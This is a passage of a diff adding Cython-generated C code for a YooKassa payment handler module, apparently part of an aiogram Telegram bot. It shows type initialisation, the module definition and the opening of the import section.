(unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_400 = PyInt_FromLong(400); if (unlikely(!__pyx_int_400)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_500 = PyInt_FromLong(500); if (unlikely(!__pyx_int_500)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)) __PYX_ERR(0, 43, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 101, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)) __PYX_ERR(0, 174, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)) __PYX_ERR(0, 218, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)) __PYX_ERR(0, 233, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_yookassa_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_yookassa_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "yookassa_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC inityookassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC inityookassa_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_yookassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_yookassa_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_yookassa_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'yookassa_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("yookassa_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "yookassa_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_yookassa_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__yookassa_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.yookassa_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.yookassa_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/yookassa_pay.py":1 + * import uuid # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_uuid, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_uuid, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":2 + * import uuid + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 2, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":4 + * from typing import Any + * + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_F)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Router)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_types)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = 